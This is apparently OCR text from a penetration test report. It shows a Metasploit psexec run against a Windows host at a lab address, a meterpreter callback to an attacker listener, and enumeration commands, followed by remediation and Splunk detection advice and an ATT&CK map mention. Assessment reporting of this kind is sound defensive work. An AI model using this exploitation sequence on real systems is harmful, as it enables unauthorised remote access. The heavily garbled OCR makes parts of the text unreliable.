The SMB service port (TCP)

Service description to to be used on target for pretty listing

The service display name

The service name

The windows domain to use for authentication

The password for the specified username

The share to connect to, can be an admin share (ADMIN$,C$, ... ) or a nor
mal read/write folder share

The username to authenticate as

, seh, thread, process, none)

LHOST eth3 yes
LPORT Lbbh yes

The listen address (an interface may be specified)
The listen port

) > exploit

handler on 172.22.117.100:4444

117.10:445 - Connecting to the server ...
117.10:445 - Authenticating to
117.10:445 - Selecting PowerShell target
117.10:445 - Executing the payload ...

meterpreter > sysinfo

Computer
0S
Architecture

Domain

Logged On Users :

: WINDCO1

: Windows 2016+ (10.0 Build 17763).
1 Xxb4

System Language :

en_US
REKALL
7

Meterpreter : x86/windows

shell
created.
eated.
crosoft Windows
) 2018

net users

User accounts f

ADMBob

rved.

adl2fc2ffcles
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C:\>»dir

dir

Volume in drive C has no label.
Volume Serial Mumber is 142E-CF94

Directory of C:\

UJ-.IJ
Windows
2 bytes

20 bytes free

Affected Hosts | 172.22.117.10

Due to this module has been used with valid credentials, prevention will be:
e Ensure administrators are using strong, unique, complex passwords.
e Configure Windows not to cache credentials
Once attackers have already retrieved the hashes, it is difficult to prevent this
kind of attack.
e A defense-in-depth will help to prevent a full breach using different
layers of defense.
e Splunk configuration to detect events caused by the module
exploit/windows/smb/psexec.
Event codes are 4697 and 7045, the code 4697 has the LogName of
Remediation “Security” and taskCategory of “Security System Extension”
The code 7045 has the LogName of “System” and taskCategory of
“None”.
Additional event code: 4688
Splunk query must be in place in order to detect these events, proper
modification must be in place in order to avoid false positives detected.
It can be confusing and overwhelming.

Reference:
https://bczyz1.github.io/2021/01/30/psexec.html
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MITRE ATT&CK Navigator Map

The following completed MITRE ATT&CK navigator map shows all of the techniques and tactics that

DreamH used throughout the assessment.
Legend:

Performed successfully

Some performed successfully, other failed to perform, refer to the subcategory

< C @ nttpsy/mitre-attack github.io/attack-navigator/Daniele Galleano
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